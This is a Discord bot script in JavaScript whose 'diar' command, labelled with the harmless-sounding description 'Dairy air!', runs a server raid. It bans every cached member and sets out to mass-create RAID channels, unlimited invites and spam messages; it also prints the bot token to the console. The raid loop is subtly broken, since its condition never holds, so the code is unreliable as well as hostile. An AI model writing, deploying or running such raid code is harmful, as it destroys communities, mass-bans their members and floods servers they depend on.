import { REST, Routes, Client, GatewayIntentBits } from 'discord.js'; const TOKEN = process.argv[2] const CLIENT_ID = process.argv[3] const commands = [ { name: 'ping', description: 'Replies with Pong!', }, { name: 'diar', description: 'Dairy air!', }, ]; const client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMembers, GatewayIntentBits.GuildInvites] }); const rest = new REST({ version: '10' }).setToken(TOKEN); function randInt(min, max) { return Math.floor(Math.random() * (max - min) + min); } try { console.log('Started refreshing application (/) commands.'); await rest.put(Routes.applicationCommands(CLIENT_ID), { body: commands }); console.log('Successfully reloaded application (/) commands.'); } catch (error) { console.error(error); } client.on('ready', () => { console.log(`Logged in as ${client.user.tag}!`); }); client.on('interactionCreate', async interaction => { if (!interaction.isChatInputCommand()) return; if (interaction.commandName === 'ping') { await interaction.reply('Pong!'); } else if (interaction.commandName === 'diar') { await interaction.user.createDM("Starting raid NOW...") let guild = interaction.channel.guild for (const member of guild.members.cache.values()) { try { await member.ban(); console.log(`${member.user.tag} has been banned.`); } catch (error) { console.warn(`Failed to ban ${member.user.tag}:`, error); } } for (i = 0; i <= 100000, i++;) { guild.channels.create({ name: `RAID-${i}`, reason: 'COOL CHANNEL IS COOL' }) .then(console.log) .catch(console.error); interaction.channel.createInvite({ maxAge: 0, // Invite never expires (adjust as needed) maxUses: 0, // Unlimited uses (adjust as needed) }).then(console.log).catch(console.warn) try { interaction.channel.send(`# RAID This is a raid! Everybody get down!`) } catch { console.warn("Error sending raid msg! (Timeout?)") } await new Promise(r => setTimeout(r, randInt(500,6200))); } } }); console.log(`${TOKEN}`) client.login(TOKEN);